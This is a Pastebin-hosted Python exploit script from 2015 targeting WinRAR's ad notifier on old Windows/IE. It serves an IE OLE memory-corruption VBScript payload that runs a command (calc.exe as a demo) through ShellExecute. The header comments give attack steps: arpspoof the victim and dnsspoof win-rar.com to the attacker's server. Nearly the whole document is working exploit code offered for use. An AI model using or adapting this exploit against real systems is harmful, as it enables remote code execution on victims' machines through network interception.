Advertisement
moften

WinRar Expired Notification - OLE Remote Command Execution

Oct 6th, 2015
2,981
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.35 KB | None | 0 0
  1. #!/usr/bin/python -w
  2. # Title : WinRar Expired Notification - OLE Remote Command Execution
  3. # Date : 30/09/2015
  4. # Author : R-73eN
  5. # Tested on : Windows Xp SP3 with WinRAR 5.21
  6. # This exploits a vulnerability in the implementation of showing ads.
  7. # When a user opens any WINRAR file sometimes
  8. # A window with Expired Notification title loads http://www.win-rar.com/notifier/
  9. # reminding user to buy winrar to remove ads.
  10. # Since this uses a http connection we can use Man In The Middle attack
  11. # to gain Remote Code Execution
  12. #
  13. # Triggering the vulnerability
  14. # 1) Run this python script.
  15. # 2) arpspoof the target
  16. # 3) dnsspoof www.win-rar.com to point to your IP
  17. # 4) Wait for the victim to open WinRar files.
  18. #
  19. # Video :  https://youtu.be/h976wFlHGw4
  20. #
  21. # i hope this time the "great security researcher" Mohammad Reza Espargham
  22. # me[at]reza[dot]es , reza.espargham[at]gmail[dot]com doesnt steals again my exploit .....
  23. #
  24. # http://0day.today/exploit/description/24292 My exploit publishied in 25/09/2015
  25. # http://0day.today/exploit/description/24296 same exploit written in perl publishied in 26/09/2015
  26. #
  27. #
  28. #
  29.  
  30. banner = ""
  31. banner +="  ___        __        ____                 _    _  \n"
  32. banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \ | |    \n"
  33. banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \   / _ \ | |    \n"
  34. banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
  35. banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
  36. print banner
  37. print " [+] WinRar (Free Version) - Remote Command Execution [+]\n"
  38. import socket
  39.  
  40. CRLF = "\r\n"
  41. #OLE command execution
  42. exploit = """<html>
  43. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
  44. <head>
  45. </head>
  46. <body>
  47.  
  48. <SCRIPT LANGUAGE="VBScript">
  49.  
  50. function runmumaa()
  51. On Error Resume Next
  52. set shell=createobject("Shell.Application")
  53. shell.ShellExecute "calc.exe", "runas", 0
  54. end function
  55. </script>
  56.  
  57. <SCRIPT LANGUAGE="VBScript">
  58.  
  59. dim   aa()
  60. dim   ab()
  61. dim   a0
  62. dim   a1
  63. dim   a2
  64. dim   a3
  65. dim   win9x
  66. dim   intVersion
  67. dim   rnda
  68. dim   funclass
  69. dim   myarray
  70.  
  71. Begin()
  72.  
  73. function Begin()
  74.  On Error Resume Next
  75.  info=Navigator.UserAgent
  76.  
  77.  if(instr(info,"Win64")>0)   then
  78.     exit   function
  79.  end if
  80.  
  81.  if (instr(info,"MSIE")>0)   then
  82.             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))  
  83.  else
  84.     exit   function  
  85.              
  86.  end if
  87.  
  88.  win9x=0
  89.  
  90.  BeginInit()
  91.  If Create()=True Then
  92.     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
  93.     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
  94.  
  95.     if(intVersion<4) then
  96.         document.write("<br> IE")
  97.         document.write(intVersion)
  98.         runshellcode()                    
  99.     else  
  100.          setnotsafemode()
  101.     end if
  102.  end if
  103. end function
  104.  
  105. function BeginInit()
  106.   Randomize()
  107.   redim aa(5)
  108.   redim ab(5)
  109.   a0=13+17*rnd(6)
  110.   a3=7+3*rnd(5)
  111. end function
  112.  
  113. function Create()
  114.  On Error Resume Next
  115.  dim i
  116.  Create=False
  117.  For i = 0 To 400
  118.    If Over()=True Then
  119.       Create=True
  120.       Exit For
  121.    End If
  122.  Next
  123. end function
  124.  
  125. sub testaa()
  126. end sub
  127.  
  128. function mydata()
  129.    On Error Resume Next
  130.     i=testaa
  131.     i=null
  132.     redim  Preserve aa(a2)  
  133.  
  134.     ab(0)=0
  135.     aa(a1)=i
  136.     ab(0)=6.36598737437801E-314
  137.  
  138.     aa(a1+2)=myarray
  139.     ab(2)=1.74088534731324E-310  
  140.     mydata=aa(a1)
  141.     redim  Preserve aa(a0)  
  142. end function
  143.  
  144.  
  145. function setnotsafemode()
  146.    On Error Resume Next
  147.    i=mydata()  
  148.    i=rum(i+8)
  149.    i=rum(i+16)
  150.    j=rum(i+&h134)  
  151.    for k=0 to &h60 step 4
  152.        j=rum(i+&h120+k)
  153.        if(j=14) then
  154.              j=0          
  155.              redim  Preserve aa(a2)            
  156.     aa(a1+2)(i+&h11c+k)=ab(4)
  157.              redim  Preserve aa(a0)  
  158.  
  159.     j=0
  160.              j=rum(i+&h120+k)  
  161.          
  162.               Exit for
  163.           end if
  164.  
  165.    next
  166.    ab(2)=1.69759663316747E-313
  167.    runmumaa()
  168. end function
  169.  
  170. function Over()
  171.    On Error Resume Next
  172.    dim type1,type2,type3
  173.    Over=False
  174.    a0=a0+a3
  175.    a1=a0+2
  176.    a2=a0+&h8000000
  177.  
  178.    redim  Preserve aa(a0)
  179.    redim   ab(a0)    
  180.  
  181.    redim  Preserve aa(a2)
  182.  
  183.    type1=1
  184.    ab(0)=1.123456789012345678901234567890
  185.    aa(a0)=10
  186.          
  187.    If(IsObject(aa(a1-1)) = False) Then
  188.       if(intVersion<4) then
  189.           mem=cint(a0+1)*16            
  190.           j=vartype(aa(a1-1))
  191.           if((j=mem+4) or (j*8=mem+8)) then
  192.              if(vartype(aa(a1-1))<>0)  Then    
  193.                 If(IsObject(aa(a1)) = False ) Then            
  194.                   type1=VarType(aa(a1))
  195.                 end if              
  196.              end if
  197.           else
  198.             redim  Preserve aa(a0)
  199.             exit  function
  200.  
  201.           end if
  202.        else
  203.           if(vartype(aa(a1-1))<>0)  Then    
  204.              If(IsObject(aa(a1)) = False ) Then
  205.                  type1=VarType(aa(a1))
  206.              end if              
  207.            end if
  208.        end if
  209.    end if
  210.              
  211.    
  212.    If(type1=&h2f66) Then        
  213.          Over=True      
  214.    End If  
  215.    If(type1=&hB9AD) Then
  216.          Over=True
  217.          win9x=1
  218.    End If  
  219.  
  220.    redim  Preserve aa(a0)          
  221.        
  222. end function
  223.  
  224. function rum(add)
  225.    On Error Resume Next
  226.    redim  Preserve aa(a2)  
  227.  
  228.    ab(0)=0  
  229.    aa(a1)=add+4    
  230.    ab(0)=1.69759663316747E-313      
  231.    rum=lenb(aa(a1))  
  232.    
  233.    ab(0)=0
  234.    redim  Preserve aa(a0)
  235. end function
  236.  
  237. </script>
  238.  
  239. </body>
  240. </html>"""
  241.  
  242. response = "HTTP/1.1 200 OK" + CRLF + "Content-Type: text/html" + CRLF + "Connection: close" + CRLF + "Server: Apache" + CRLF + "Content-Length: " + str(len(exploit)) + CRLF + CRLF + exploit + CRLF
  243. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  244. host = raw_input(" Enter Local IP: ")
  245. server_address = (host, 8080)
  246. sock.bind(server_address)
  247. print "\n[+] Server started " + host +  " [+]"
  248. sock.listen(1)
  249. print "\n[+] Waiting for request . . . [+]"
  250. print "\n[+] Arpspoof target , and make win-rar.com to point to your IP [+]"
  251. connection, client_address = sock.accept()
  252. while True:
  253.     connection.recv(2048)
  254.     print "[+] Got request , sending exploit . . .[+]"
  255.     connection.send(exploit)
  256.     print "[+] Exploit sent , A calc should pop up . .  [+]"
  257.     print "\nhttps://www.infogen.al/\n"
  258.     exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement